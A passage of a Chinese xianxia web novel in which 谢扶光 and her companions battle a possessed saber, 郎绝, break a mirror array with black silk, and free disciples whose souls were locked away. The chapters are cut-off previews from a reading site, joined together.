可谢扶光走在最前,路都是她刚蹚过的,并没发现地上有异物。 谢扶光正待过问,卢笑绒先一步开口,她本是慢性子,这会儿难得语速飞快:“小心,地面有难缠藤蔓,被缠住就无法脱身了!” 她话音未落,贴地一片窸窣,纵有嗡嗡声掩映,依然清晰可闻。 藤蔓来势汹汹,顷刻间,“妖风”已席卷满楼。 此地距适才带毒飞刀射来的位置不远,谢扶光授意乐命:“能用的东西都叫过来!” 乐命灵智虽未开,其余配置皆不输顶级法器,甚至更优。 它能领悟主人心意,稳妥行事,就像一只没有个体意志、绝对服从的高级傀儡。 适才崔惊厄没有说全,乐命除可吸收刀身毒液化为己用,被它吸纳了毒液的兵器还将受它驱使,着了魔一样听从于这个曾经的 “对手”。 得感谢控制刀送了一圈带毒飞刀过来。 乐命刀柄上红光转紫,但听一阵格格乱响,方才还针对他们的飞刀已齐齐向他们飞来,化敌为仆,只受谢扶光意念驱使。 其中一把利落割断缠住卢笑绒足踝的藤蔓,余下在他们周围环绕成环,凝成一个活动的保护圈,与缠上来的藤蔓互咬。 三人一圈飞刀维持这样姿势,勉强能与藤蔓维持在一个艰难平衡。 可惜这些短刀不是神兵,砍斗多时终会卷刃,而藤蔓却根本杀不尽。 它们可以被斩断,但截面很快死灰复燃,迅速再生,又再度缠上。 春风吹又生,比杂草更难缠。 乐命刀柄的紫光始终亮着,借助这抹微弱光亮,人眼可勉强视物。 眼见局势的天平已越来越向敌方倾斜,谢扶光右腕一转,周身空气骤凝,寒意随气流朝周围涌动。 她惯用刀法为伏诛十四式。 这是当代最顶级的神功,修行门槛相应很高,能练的人不多,这一代只谢扶光一人而已。 伏诛十四式其实刀法剑法各七式,搭配施用效果最佳,只是至今没听说有剑修达到修习门槛,她师兄舒扬舟被尊为当代剑道第一人,也只能试练最基础的第一式,再往后就难以为继了。 谢扶光要用第四式“霜雪寒霄”,从体内经脉里逼出至寒之气,她要将这堆难缠的草冻住。 身体越来越冷,筋脉僵硬,连骨头缝都散发着寒气。 施用“霜雪寒霄”不会对身体造成不可逆转的损害,但过程实在难捱,非强大意志不可为,说伤敌一千自损八百也不为过。 正因此,一般非陷入绝境此式不宜施用。 谢扶光当然不会将几只藤蔓视为绝境,她只是觉得难缠,又急于揪出那缩在地底的控制刀,心头烦躁。 正巧自练成后,霜雪寒霄还从未对敌过,干脆拿藤蔓来试试手。 寒气流转越多,她越觉自己仿佛已化为一座人形冰雕,寒意四散,她身周半米之内,藤蔓被冻结凝霜,在僵硬中失去生机。 霜雪寒霄果然好用,刀杀不死的被冻死了。 她尝试将寒气范围扩散,而在这时,一个柔软的触感兀地贴上了她手背,因浑身僵冷,她低头的动作有些缓慢,过了漫长的一息,才见到崔惊厄一角绯红衣袖。 “别闹。”谢扶光又冷又烦,浑身骨节还冻得发疼,语气很不好。 然而,崔惊厄非但不听话,还变本加厉,手掌隔着薄薄一层衣料抵在她的腕骨。 一股暖流从腕骨传入,轻易击溃她蓄起多时的寒气。 要解霜雪寒霄,有两种法子:一是纯阳内力灌注,体内寒气感受到这一信号,本着保护身体主人的宗旨,会自主消散;另一个则得静等体内冰消雪融,有时需数个时辰,得靠用此刀法的人自己扛过。 崔惊厄显然明白这式功法,他到底是什么人? “你是谁?”骤然来袭的暖意,令她汗毛生理性耸立。 崔惊厄没回答,只说:“若是想试功夫,点到即止就行了,你陪它们受冻干什么?” “解决问题呢,还是得不要脸一点,用损人又利己的法子。” 沾染上她的冷意,他声音也微颤。 说着,他大概是想做个不要脸的示范,唤出藏蛟内的小美人。 一声龙啸擦耳急掠,有敌当前,小美人又恢复了牛叉轰轰的出场。 “依难缠程度推算,这藤蔓大概是不死藤,”感受到衣袖下的肌肤热了起来,崔惊厄收回手,像什么事都没发生,“不死藤沐天地精华而生,小美人食用后对它有好处。” “孩子还小,大小姐行行好,给它让口饭吃?” 谢扶光听罢,突然短促地笑了一声。 她现在很痛快。 控制刀前后出招两次,第一回的刀归了她驱使,第二回的不死藤又入了小美人的肚子。 大小姐心情好时其实很愿意给这个世界一点微笑颜色,只可惜她的好心情奇少 12.血红掌印 《秘境改命,顺便通关》全本免费阅读 “摄心绝想,”谢扶光引导崔惊厄和卢笑绒闭气,“鼻引清气,口吐浊息。” 三人闭息避退,乐命刀一直没闲着,沿途一路剐下新土,暂补上土墙被侵蚀的空缺。 乐命将空场四壁剐塌大半,眼见就要追着谢扶光钻入适才过来的甬道。 成片邪纹骤然亮起,散发泛着黑气的诡异金光。 金光涌动下,轰然一阵力拉崩倒之声,连石壁带地面俱在簌簌震颤,仔细看,整条甬道正在迅速变形,壁面凹陷,地面也下塌出一个弧形巨坑,仿若一瓮,就要将三人收拢其中。 谢扶光暗叫不好,一手拉一人将崔惊厄和卢笑绒拉出逐步成型的巨瓮,无奈迎面又是毒水毒气。 八方受阻,只得上下求索。 看着甬道地面下陷的弧度,她猜测地底或许另有乾坤。 “捏紧你们的阴玉钥,如有不对立刻掷碎!”谢扶光叮嘱两人。 “我要赌一刀!” 全身内力灌注刀柄,刀刃猛地直钉进地心,直到整个刀身完全没入也没停止,灵力通过冷铁不断倾注向周遭地面,以戳刀之地为中心,丝丝缕缕向外围龟裂。 这一刀传给她的感受很奇异。 不似插进硬土,更像某种邪异结界。 八成也是控制刀的手笔。 地底幽幽向上传来阻力,谢扶光拄刀与之博弈,诡异的是,岩壁上邪纹也在随二者间的过招而发生着变化,逐渐暗多亮少,到最后像极了风中烛,闪闪灭灭几要断气。 谢扶光的状态也没好多少。 握刀的手根根青筋暴突,她竭力止住颤抖不现颓势,额角湿汗却无可避免滑下侧颊。 眼前一阵阵发花,身后土墙几欲全线溃散,毒水将至。 电光火石间的生死博弈,谢扶光感到久违的刺激,她抬眸冷眼直逼岩壁邪纹,右侧唇角轻勾,轻蔑溢于言表。 但听身后“哗啦”一声,最后一截土墙崩颓,毒水被阻多时,发疯般前涌,砸出排山倒海之势,眼见就要落于谢扶光后心,她偏不躲闪,只盯着已黯淡到近乎看不清的邪纹,赌它不比她能撑。 谢扶光艺高人胆大,逢赌从来不输,这次也一样。 千钧一发之际,邪纹终于彻底寂灭,连纹路间的隐约流光都消失殆尽,她脚下地面一软,周围空间就要变动。 而身后积了数丈高的毒水墙已轰然砸下,距她后心仅一线之隔,不待她随着空间变化遁走,已然抢占这毫厘时间差,就要将她吞没。 背后蓦地一凉,谢扶光分出道余光后视,只见崔惊厄和卢笑绒一人一边,提起她试验霜雪寒霄时冻住的小部分不死藤,为她形成了一道脆弱屏障。 这一阻为她多撑了关键的片时。 下一秒,周遭天旋地转,再站定时,他们已身处另个空间。 谢扶光体力尚未恢复,看什么都笼着一层浓雾,但她没有说,板着脸一副高深表情,静静听着他们说话判断情况。 “咦,两边怎么是一样的?”卢笑绒先开口。 崔惊厄在适才地动山摇的动静里扭了下脚,坐地抱着蹄子扭曲一会儿后,支棱着起身。 谢扶光原想听听他什么高见,等了半天等到一句:“大小姐一直看我干什么?” 她这才反应过来,原来等崔惊厄说话的时候,她一直下意识盯着他所在的那团模糊。 “看你要在地上瘫多久。”谢扶光轻扬下巴,一副高贵模样,“活这么多年,真没见过你这样不中用的。” “这样,”崔惊厄含笑对上她一双涣散的眼,也不拆穿,“那这么不常见,可得多看看了。” 他朝两侧打量片刻,突然做起解说:“咱们现在在一个十米见方的小石室,左右两侧各开一扇小门,左边门里有个祭坛,右边……嘿,还是个祭坛,跟左边一模一样呢。” “你描述这些干什么?又不是看不见。”卢笑绒还在试图以慧眼玩左边右边找不同的游戏,“这里真奇怪,两边没一处不一样。” 说着,她还想随便进去一间凑近看看。 “我说卢妹妹,稍安勿躁,好奇心太重会害死猫。”崔惊厄忙制止。 “若我没猜错,这很可能是个镜面阵。”他说着阵法,目光却掠过谢扶光的眼,见她死去的焦距正在诈尸,不多时就能恢复,这才更详细说起来,“所谓镜面阵,就譬如这左右两个空间,一面为真,一面为镜,一处真一处假,需得判断仔细才能进。” 左右应该都是很大的空间,只有一扇小门联通他们当下所处的石室,存在视野盲区,只能见一部分。 能见的是一个诡异的祭坛,坛上铭刻着和岩壁一样的邪纹,简直像那岩壁变的。 “为什么不能进?不进去怎么知道哪个真哪个假?”卢笑绒相当有做死猫的潜力,脑袋探在小门口跃跃欲进,好奇得很。 她能闻见那股熟悉的邪气,控制刀一定就在这附近。 “若进了真的,还能出来,”崔惊厄恐吓小朋友,“可若是镜面阵,就只能困死里面了。” 谢扶光眼前浓雾散去大半,视野复归清明,她也朝两侧打量,如卢笑绒所说,左右两边一模一样,凭一双肉眼根本辨不出真假。 她想了想问道:“镜面阵和现实什么区别?靠气味能分辨出来么?” 话音刚落,卢笑绒就说:“我能闻到控制刀的气息,这气息四处环绕,辨不出具体哪一间传出。” 不排除控制刀故意以假乱真扰乱嗅觉。 如此便不好办了。 该进哪一间是个大难题。 三人各自思索。 此处与之前的甬道和空场大不相同,褪去了惹人烦躁的嗡声,没人说话时显出悚然的死寂,让人轻易升腾起一股置身死地的不安。 卢笑绒好奇心虽重,但有贼心没贼胆,她的胆子不算大,踱步思考时步子下意识落重了些,造出声音打破幽静。崔惊厄可能也害怕,察觉她的脚步变化,步子也重了不少,与她相映成怂。 同伴窸窸窣窣的脚步像白噪音,谢扶光没有反感,反而因此迸发出一些灵感。 “声音呢?”想到毒水的滋滋声,她问,“镜面阵里也会有声音么?” “可以尝试。”为捧场大小姐提议,崔惊厄一脸肉疼地贡献出两颗宝贝燧石,朝左右各自扔去。 顷刻间左侧小门内便传出石块落地声,右侧仍静悄悄的,死了一样。 “那应该左边是真实了。”卢笑绒判断,提步就要进左侧小门。 谢扶光也跟着走了两步,但就在卢笑绒距那扇门只一线时,又突然叫住了她。 完全直觉使然。 她觉得过于顺利了。 谢大小姐有生二十年,大概十八年都在耍刀,从来奉行唯暴力不破的真理,实在不信一块石头能这么轻易解决问题。 “既然控制刀能调控镜面阵的气息,有没有可能这声响动也是它为引我们而发出的?” 谢扶光忽然有点后悔没顺把飞刀进来,不然让乐命控制飞刀进去晃荡一圈,看能不能再飞出来,问题就解决了。 控制刀诡计多端,这样的担心确实有道理,空气再度凝滞。 13.刀上独眼 《秘境改命,顺便通关》全本免费阅读 圆脸兄被谢扶光亲手送出局,没人比她更能确认其出局的真实性,况且圆脸兄身影消失后,空中确也浮现了出局金字,种种都做不了假。 那么本该身在秘境外的他,又如何被困进了镜面? 谢扶光不喜肢体接触,阻住崔惊厄出局后即刻收回左手。 随她收手的动作,两人腕间红线隐去,未留下任何痕迹。 “先别妄动,我怀疑阴玉钥中灵气逸散,也不一定能出去。” 谢扶光语速飞快,这是她心慌时的通常反应。 继在一众器灵虚影中看到江星的剑,她第二次怀疑秘境中事物的真实性。 若全是迷惑恐吓他们的假象还好,可适才“镜面”上圆脸兄突然印出的痛苦面容那么真实。 谢扶光握刀的手紧了又紧,指节都泛出惨白颜色。 圆脸兄的阴玉钥被她一支袖箭射碎,当时虽为躲范莘失控剁向他胸口的一刀,源自好意,但此刻看来,一旦秘境中事物并非虚妄,那圆脸兄今时之境便是她亲手造成。 谢扶光深深望着左侧门洞,那里依然干净而透明,能一眼望进门内控制刀布置的障眼假象。 而在她眼中,那面隐形“镜面”上,圆脸兄皮肉扭曲鲜血横流的脸仿佛仍印刻其上。 是她种下的“因”,她有责任找出“果”。 至少要弄清发生了什么。 左右两室哪侧为真哪侧为镜已相当明朗,谢扶光反手提刀,大步走进右侧小门,迎上危险的未知。 崔惊厄与卢笑绒紧随她身后,同样缄默进入。 从外看这方空间并不算大,走进后倒另有乾坤。 首先映入眼帘的,是那方与走廊印刻着同样邪纹的祭坛。 先前隔着距离瞧不分明,这会儿近看,一些极难捕捉的细节堪堪浮现。 “飞刀!”卢笑绒最先低呼,“还有被小美人咬剩下的不死藤,毒水、坍塌的壁面、临时筑起的石墙……” “这不就是我们刚走过的地方?” 同样的纹路、同样的打斗遗迹,甚至祭坛底部破裂的碎洞都与谢扶光持刀在地面劈出的一致。 场面细思悚极,连谢扶光也不由有些唏嘘。 控制刀一前一后设置飞刀和毒水,将他们堵在布满邪纹的甬道,甬道尽头又有不死藤纠缠。 倘若他们没有解决围困,及时向下开路,撞破结界跌入此地,此刻他们三人很可能已无知无觉成为祭坛中的祭品。 卢笑绒强压心惊,谢扶光心念电转暗自思索,崔惊厄只扫了那祭坛一眼,没有止步,往更深处查探。 越往深,视野越开阔,清晰可见同样的祭坛还有数十个。那些祭坛没有底部的洞,坛上刻的邪纹亮着,流光诡谲。 有的盛着法器,有的盛着人。 每个祭坛都伸出一缕黑雾与更深处相连,像达成了某种暗黑契约,蛛网一样,密密麻麻。 祭坛伸出的黑雾似乎只起连接作用,并未纠缠三人,他们沿着黑雾向中心一路前行,一一与二十九只器灵的本体法器打了照面,越往前走黑雾越浓。 走着走着,谢扶光兀地停下,崔惊厄顺着她的视线看去,只见圆脸兄也在其中一个祭坛里,与镜面印出的扭曲脸孔相比,这里的他相当平静,双眼呆呆睁着,沉默地看着一个固定方向,黑雾拉拽着他体内生机源源输送向黑雾中心,他没有愤怒或惊恐,仿佛灵魂早已抽离躯壳,现在的他只是具傀儡。 在他周围还有一些人,衣着相对破旧,大概来的更久,他们早已被吸成干尸,辨不清本来面目。 盛装这些人的祭坛破败,邪纹早暗去了。 谢扶光厌恶欠人,看见圆脸兄的一刻,右手登时一翻,乐命如离弦箭冲出,剑身潮水蓝色灵力环绕,分开黑雾,飞快在圆脸兄的祭坛直劈一道。这一刀不知劈坏了什么,邪纹又呈现出类似细窄甬道中岩壁的闪烁。 正待剁第二刀,黑雾深处一个声音森然响起,此情此境下,犹如厉鬼在呢喃。 “你救不了他,他的灵魂已被我锁入镜中,出不来的,”声音顿了顿,音调压得更低,又补充一句,“但不用遗憾,那里也会是你们的归宿。” 随着声音,通向中心的层层黑雾稍微分散一些,能让人看清里面的东西。 确是他们要找的控制刀没错,但目光触及的一瞬,三人表情俱是微愕。 崔惊厄和卢笑绒愕然发现,竟真是这把刀在说话。 单纯的刀灵无法与人沟通,这只却能说话,说明它在这无人问津的一隅作乱多年,很可能已从刀灵修成了精怪。 谢扶光意外的则是——这把刀是她的老熟刀,无失圣手颜琅的佩刀“郎绝”。 郎绝刀怎么会在这儿?还为祸一方! 多年来,颜琅一直是她极敬重的前辈,二十年前为除魔死于万里悲丘,随身带的郎绝刀也不知所踪。 修真界多次派人打捞皆无果,不成想竟是在这儿。 那一阵子万里悲丘时常出事,还是她父亲谢白扇亲自来镇压过,乱子才消停下来,谢白扇也因此功绩成为仙盟盟主的不二之选。 这才多久就又有了邪门事,作乱的还是颜琅的刀。 乐命被召回谢扶光掌心,她上前半步,刀尖直指黑雾中心的郎绝,声音挂着丝丝冰碴:“早就想与你过招,今日正巧,就由我来替你的先主人清理门户。” “蚍蜉撼树,简直找死!”郎绝轻蔑地落下这一句,又说了句意味不明的话,“你既送上门,你这具精心培养的身体,我便不让给他了。” 精心培养四字一落,谢扶光再度感到对这具身体的强烈厌恶,这份厌恶全凭直觉,她也不知哪里不对。 分明她的身份、天资使然,被精心培养是再正常不过的事。 郎绝一副不屑谢扶光的模样,却很不讲武德地借着重重黑雾掩映,话音刚落就朝谢扶光偷袭过来。 它是鬼头刀,为刀中最重,力道骇然的同时,破空时裹挟的风声也更强劲。 也正因此,郎绝刀身虽笼着黑雾,飞来的动静却瞒不过卢笑绒的耳朵。 她不善武斗,唯恐拖累谢扶光,乖巧地缩在一个边角,远远地给谢扶光提示郎绝刀的位置。 崔惊厄也左手持剑加入战局,一把剑在他手里,被握得松松垮垮极不着调。 谢扶光担心他拖后腿,几次叫他避开,偏他那股薛定谔的听话劲儿在这 14.不幸遇挂逼 《秘境改命,顺便通关》全本免费阅读 放眼古今,成大事者,不过那么几类: 要么文韬武略,战无不胜; 要么宅心仁厚,人心所向; 要么动心忍性,持之以恒; 要么…… “臭不要脸,至贱无敌!”崔惊厄朝郎绝抱拳,甘拜下风的手势将讽刺拉满。 郎绝跟着颜琅时,也曾斩杀妖魔无数,这会儿失了主人管教,原形毕露,刀品跳崖式直降到最底层。 颜琅一生光风霁月,真不知此等品性的刀,在当年如何入了他的眼。 “镜面阵你会不会破?”谢扶光问崔惊厄。 “类似我们平时照镜子,镜中事物依附现实而生,”崔惊厄边说,目光四下梭巡,“若想形成镜面空间,物与镜皆不可少。” “必有一面镜子,或类似镜子的事物,能映出此间一切,不留一个死角。或许,可以试试打破‘镜面’?” 随着他的话,谢扶光也朝四下看去。 这间石室看似杂乱,祭坛遍地,黑雾蔓延,仔细分辨,却也只有这两样,功能相当明确,就是专为郎绝搞祭祀设的。 且不透风不漏雨,连个能映照室中全貌的水洼都没有。 所以,所谓“镜子”能设在哪儿? 谢扶光一心二用,一面留意郎绝动作,余光则朝四面八方打量。 大概因为亲手送圆脸兄出局的那点纠葛,余光掠过他时,她不由多看了一眼。 这一眼,她竟发现圆脸兄空洞双眼看着的方向变了。 作为魂魄被锁进镜面的傀儡,他怎么会有意识改变目光? 只能是受郎绝控制的。 觉察不对,她又看向祭坛中其他人,大部分与初时所见没什么变化,只除了刚刚替颜琅承受刀伤死去的那人周围。 替死鬼周围一圈的人皆改变了目光朝向,不止人,法器们也有着不同角度的旋转,就像那人的死打破了什么特殊布置,他们得随之做出调整。 脑海中诸多线索都在隐隐冒出线头,却差点什么才能缀连成线。 而就在这时,眼前寒光一闪,刀刃冰冷的气息侵袭,谢扶光全凭本能挥刀格挡。 郎绝趁危偷袭,她刚想得入神,反应慢了一毫,抬眼时郎绝锋刃已横陈眼前。乐命直竖与之擦过,两柄银色刀身交错,一同映出谢扶光清丽冷冽的眉眼,她湖水一样沉静的双瞳中,亦有呈十字相抗的两把刀影浮现。 对上郎绝诡异独眼的一刻,她脑中灵光乍现,线头连成一条通路。 谢扶光掀起眼皮,迅速寻出郎绝招式中破绽,将它逼退的同时,轻身如燕掠向祭坛上空,但听“锵锵”一串冷刃相击的泠音,她身过之处,途经法器全翻了面。 何须真正的镜子,冷刃与人眼皆是天然的镜面。 难怪石室里祭坛的排列如此古怪。 谢扶光雁过拔毛,郎绝反应也不慢,重刃破风,紧追在她身后。 啧,难缠。 她暂将破镜面阵搁置,回身提刀就要迎上,却听“铮”一声剑鸣,斜前一把银剑横插进来。 崔惊厄左手持藏蛟,红衣在黑雾中愈加显眼。 他握剑手势松垮依旧,看着没费力,却死死抵住郎绝这一以重闻名的鬼头刀,不容它寸进分毫。 崔惊厄还有余力回头,剔着眉梢朝谢扶光做口型:“为大小姐保驾护航!” 他游刃有余,谢扶光没与他争,目光转向刚拨动过的一众法器。 与初时相比,它们此刻毫无变化。 准确说,是变过一瞬,仅一个恍神即已复原。 黑雾穿梭其间,比先前更浓,如密线牵扯着各法器,以保它们全都处于维持镜面阵的最佳角度。 谢扶光左拳紧握,倏然发力,手背伤口再度崩裂,然而这一次,四溢的血气没能吸引黑雾来吞噬,它们严阵以待盘桓在法器周围,不给任何人机会破坏郎绝的布置。 黑雾不攻击人,但打它就像打一团棉花,根本无从着力。它们无孔不入,缠绕间便能以最快速度将谢扶光的破坏重置复原。 几次尝试均以失败告终,谢扶光不再莽然进攻。 她从祭坛周边抽身,一副知难而退模样,瞥见黑色浓雾稍散,先向右做出一记假动作迷惑,而后飞身反向往左急掠,纤薄身影逆黑雾而行,倏忽间已灵巧直抵圆脸兄身周。 黑雾犹在向她假动作的方向聚拢,水一样冲撞堆积出一个波峰,才朝圆脸兄的方向滑来,因节奏被干扰,速度较之先时略慢。 谢扶光出其不意打出一个时间差,不敢耽搁,乐命比平时更快,法器被拨动的“锵”音近乎重叠,转瞬间残影已绕圆脸兄画成一个漂亮的圈。 能映出圆脸兄身影的“镜面”皆被调转了朝向,暂且帮他脱离了镜面阵的笼罩范围。 她动作刚停,黑雾即刻追来,眼见可充当镜面的法器银刃与人眼又要转回最初角度,圆脸兄毫无机质的双眼兀地闪烁出一抹惊恐神采。 “救我!” 见到谢扶光,他下意识想扯她衣袖,发现四肢被黑雾裹缠,像箍着可流动的漆黑锁链,通过锁链,他的活动完全由控制刀牵扯,自由动弹不得。 “怎么救?”谢扶光语速飞快,说话时乐命犹在与黑雾博弈,为对话争取时间,“不是说镜面一旦有缺口,阵就破了么?怎么其他人没回来?” “全部!只阻挡一部分镜面没用,一旦黑雾将镜面角度重置,我们就会重新被锁回去,”圆脸兄语速更快,几近嘶喊,“只有全部镜面同时崩塌,阵方可破。” 全部…… 这里法器加人共几十个祭坛,黑雾又流窜那样快,她该怎么在同一时间阻挡全部“镜面”? 谢扶光环视一周,思索时乐命刀尖稍慢一瞬,仅一晃眼光景,被黑雾钻了空子,圆脸兄刚归体片刻的灵魂就又被重锁回镜面。 黑雾盘旋涌动在她面前,像个嚣张的得胜者,被挑衅的不爽令她战意格外汹涌。 她几度挥刀想破开黑雾迷瘴,黑雾总能缠上来,扰得她连祭坛都看不清。 黑色遍布视野,谢扶光在这幽晦刺激里,脑子意外转得很快。 她原以为镜面只要破开一个口,就能全面溃散,黑雾也一直在与她进行着角度上的博弈,以致她陷入了一时的思维惯性。 这会儿反应过来,其实何必这样复杂? 就像黑雾弥漫的视野里,她完全看不清祭坛。 若将可作镜面的东西全都遮住,没有了镜,以镜为基础的阵自然就散了。 只是如何去遮,一定得想好法子,不然又会遭到黑雾无孔不入的侵袭。 谢扶光从金丝布袋抽出一块黑色无尽绸,这种绸布无穷无尽,又极具韧性。她扯着绸布围绕全部祭坛快踱一圈,全程不过几息时间,她脚步停下时,黑绸已将无论法器还是人眼,所有能映照出景象的“镜子”都遮挡殆尽。 谢扶光掌心收紧,黑绸裹缠的一切就像被蚕丝层层缠绕的茧,尽在她一人掌控。 与此同时,崔惊厄藏蛟剑身一软,层层缠上郎绝刀刃,遮住其如镜刀面后,给小美人传递一个意念。 小美人乖巧盘桓于藏蛟缠绕的剑身,化为一道闪光的金色龙纹,镀了层金光的同时,也挡住原本的银剑“镜面”。 完成一切 15.魂兮归来 《秘境改命,顺便通关》全本免费阅读 没将这疯刀的话当回事,谢扶光不再接话,一心调用灵力与之过招。 郎绝叠加的两个法器皆是水属性,冷刃相接之时,寒意扑面,穿越灵脉传入脏腑,引得五内都像结着冰碴。 谢扶光以其人之道还治其人,右手持乐命勉力扛下郎绝刀锋,左掌引脏腑寒气猛击刀柄,但听“刷”一声,寒气舞于冷刃,乐命刀身当即凝了一层坚冰。 两刃急擦而过,迸出细小火星击溃冰层,四溅的水珠又于半空凝结,谢扶光借势使出伏诛刀法第三式雨打河山。 冰珠冻结空中冷气,滚雪球似的增大,大到极致又分崩离析,化为无数新的冰珠……循环往复,几息光景已环绕郎绝形成一个包围圈。 谢扶光右手一紧,冷刃挟风直指郎绝,冰珠如受指引,亦向它群扑而上,即便暂不可取其性命,也誓要将它冻住。 郎绝不闪不避,刀上黑气愈浓三分,一息之间又有两个法器的灵魄被点燃。 乐命刀身骤然传来一阵威压,谢扶光虎口震痛,仍难阻郎绝下压之势。 郎绝这外挂开得太不要脸,靠蛮力都够压她共崔惊厄两人一头。 而就在这时,不远处卢笑绒突然叫道:“果然在!” “范莘找到了!” 卢笑绒话音刚落,谢扶光立时从布袋抽出黑绸,早准备好似的。她持刀挽一个腕花,乐命灵巧绕开郎绝威压,并不恋战,走为上办正事要紧。 但郎绝这次真急了眼,在身后穷追不舍,它本是重刀,合该灵活不足,却因吸纳了四只器灵灵魄,不知哪只有着超乎寻常的敏捷,谢扶光一时竟甩它不开。 她左手扯黑绸,右臂还要不时相抗郎绝,一心二用,一面盯紧祭坛中“镜面”以防遗漏,余光则时时留意郎绝攻势。 就在她行事被严重掣肘之时,一声龙吟兀地从后啸出,不用看就知是小美人。 崔惊厄缀在小美人身后,待小美人这一声吼掉了对手气势,再持剑迎上。 “十息,够么?”他左手剑最多拖住郎绝十息时间。 谢扶光下巴轻点,黑绸骤然收紧,依照上一次经验,轻车熟路缠上祭坛中所有“镜面”,收尾之际,范莘犹戴着那只假耳,却是圆睁双眼一副痴傻相,刚巧被卢笑绒推到绸布之下,谢扶光顺势丝滑地裹住他的眼。 一切动作用去五息时间。 她五指收紧,确保黑绸死死覆压,抬眼看崔惊厄。 与叠加四只法器灵魄的郎绝相搏,饶是他,左臂也难以自抑发颤,藏蛟几度试图缠上郎绝剑身,都被吃过一次亏的郎绝躲过。 谢扶光将黑绸交予卢笑绒,飞身相助,二人一刀一剑合力相抗郎绝,乐命死死抵住郎绝下压之势,藏蛟借机疾缠,银白剑光挥出螺旋形残影,总算将其团团围裹。 小美人无需授意,自行栖于藏蛟,落下一道金印,乐命则被强行催动噬毒灵宝,幽幽散发红光,掩去刀身银镜。 室中三人齐齐闭眼。 一时间,整间石室所有可映照事物的“镜面”消失殆尽,但听数道碎裂之音炸响,存续几十年的镜面阵呈龟甲形破裂。 圆脸兄带头挣脱黑雾束缚,从祭坛跃出。 他前胸被范莘剁出的创口犹在汩汩冒血,唇角也渗出几缕鲜红,他不在意般拭去,垂头看重获自由的双手。 除他以外,还有几人被关入镜面阵的时间尚短,魂魄归体即可立即活动。 但有些人便不那么走运了。 那些被吸干生机沦为干尸的人,谢扶光能看见他们凹塌下陷的双眼中,眼球缓慢地转动,偶有热泪滚出,伴着鼻涕一起,这些昔日的天之骄子,如今没有了抬臂擦拭的气力。 骷髅一样的四肢残烛似的抖动,饶是黑雾邪力已去,一挣即散,他们也无力摆脱。 “你真当是在救人?”郎绝刀身上的独眼也看着这些人,它高高在上审视,满是轻蔑,仔细看还带着点诡异的痛快,“魂魄被锁住,他们起码能活,可你非要多管闲事,把他们带回到这样残破的躯壳,他们就只能等死了。” 它看着那些可怜的人,看他们曾经也是青春年少、风华正茂,甚至为各宗中佼佼者,如今却也只能连棵枯树都不如。 意气风发者坠落云端,很久以前它曾看过一场。 没道理这样的惨剧只有一场,便是下地狱,也要有垫背的才少挨些疼。 它要让别人也饱尝其苦,看他们痛苦的挣扎,也看那些旁观者虚伪的同情。 然而它没从谢扶光面上看到同情之色。 这位大小姐表情一直很冷,冷淡到堪称凉薄,眉宇间永远笼着一丝戾气,它很喜欢这丝戾气,见之如见故人。 但她的行为却又令它那样生厌,明明不是热心的外形,偏要管闲事,简直是对那戾气的折堕。 谢扶光不知它如何想,她走到那几名奄奄一息几成干尸的人面前,声音没什么波澜。 “刚刚它的话你们也听到了,我只问一次,等死还是回去?”她问得并不委婉。 虽然她尚不知该如何将魂魄锁入镜面阵,但她从不欠人,如果他们说想回去,她破万难也定会寻得方法。 然而几名虚弱至极的干尸人统一坚定而缓慢地摇了头。 他们都是之前几代来到万里悲丘的弟子,曾几何时,也称得上一句天之骄子。 就像崔惊厄那句戏言: 人中龙凤,自有他的不齿。 他们可以凄惨、难看甚至以一种骇人的姿态死去,却不能容许灵魂受辱沦为奴隶,苟且偷生。 生命与尊严之间,他们选择后者,坚定不移。 谢扶光默然片刻,骤然挥刀,但见数道寒光闪过,困住他们的黑雾被刀气驱散殆尽,弟子们摆脱禁锢,有尊严地静待死亡来临。 石室内浮动的黑雾登时少了大半,然而盛装法器的祭坛犹在通过黑雾与郎绝的祭台相连。 谢扶光尝试以乐命切断它们间的联系,却发现郎绝与这些器灵的羁绊与和弟子们的不同,她几度挥刀,黑雾依然缠得死紧。 “别试了,”崔惊厄在身后开口,“小美人刚跟我说,这些器灵与那些人不同,因主人死于此地,它们自愿永困于此,只不曾想后来这里被郎绝占据,以一种邪法将它们控制为祭品。” “这些器灵自己画地为牢,无论如何,都不可能出去,只求大小姐能赶走那邪刀,还它们一片清净地。” 随着弟子们的魂魄归体,器灵们也回归法器,可以同小美人交流。 崔惊厄代为传达,只几句话功夫,一众法器中又消失了一个,郎绝身上的器灵虚影叠加到第五层。 “破了阵又如何?”随黑雾暴涨,郎绝的语调愈显邪气,“这些蠢货都为我所用,今日你们既来,就得把命留下。” 此话并非虚张声势,它身上只叠四只器灵时,谢扶光与崔惊厄两人联手尚且 16.蚯蚓供奉 《秘境改命,顺便通关》全本免费阅读 “阴玉钥传送有问题,”说及此事圆脸兄仍心有余悸,“我本应出局,却直接被传来了这儿。” “阴玉钥怎么会……”谢扶光没有说下去。 前来万里悲丘参加试炼的俱是各宗最优秀的弟子,仙盟对弟子们的安全相当重视,从随处设置的传送阵法可见一斑,先一辈的战力最高者颜琅还在试炼场上空设了巨大阵法,以防妖魔两族设伏其中。 像阴玉钥这等关键物什更要经过高层的重重检查,才会发放至弟子手中,若连阴玉钥都出了问题,很难不令人疑心是仙盟内部出了乱子。 但眼下弟子们才出镜面阵,正是心绪激荡时,贸然谈及此事易引内乱,谢扶光暂先压下,打算找机会禀明父亲。 谢白扇虽与她不算亲近,多年来却是实打实为仙盟做事,况且从郎绝谈及他时咬牙切齿的态度,他不大可能是坏人。 总之,若连谢白扇都包藏异心,那就没人能相信了。 圆脸兄犹等着她的下文,谢扶光转移话题揭过此事。 她走到祭坛中的成排法器面前,随郎绝刀身断裂,缠绕它们的黑雾总算散去。 “今日斩杀邪刀,幸得诸位襄助,”谢扶光嘴上说着感谢,表情像在算账,“我生平不惯欠人,各位如有需要可尽管提,我全力完成。” 器灵们当然有需要,原地盘桓少顷,像在交头接耳,最后推出一只剑灵代表向小美人传达意思。 “它们请求大小姐替它们的主人报仇。”崔惊厄替小美人转达。 器灵们装模作样商量良久,最终得出的还是谢扶光意料之中的一句。 “有关仇人,你们记得多少?”她问。 先前器灵们集体“失忆”,不知随着郎绝断裂,这毛病好了没有。 过了一会儿,崔惊厄说:“它们记起了一些,但不多。杀害它们主人的东西身上有着比郎绝还要浓郁的黑雾,戴面具,看不清具体模样,只知外形是人形。具体用什么功法,以及更具体的特征,它们全都忘了。” “好,我会留意身上缠黑雾的人。”谢扶光点头应下这一差事,只是她心中犹有疑窦未解,“另外,我想知道你们主人们的名字。” 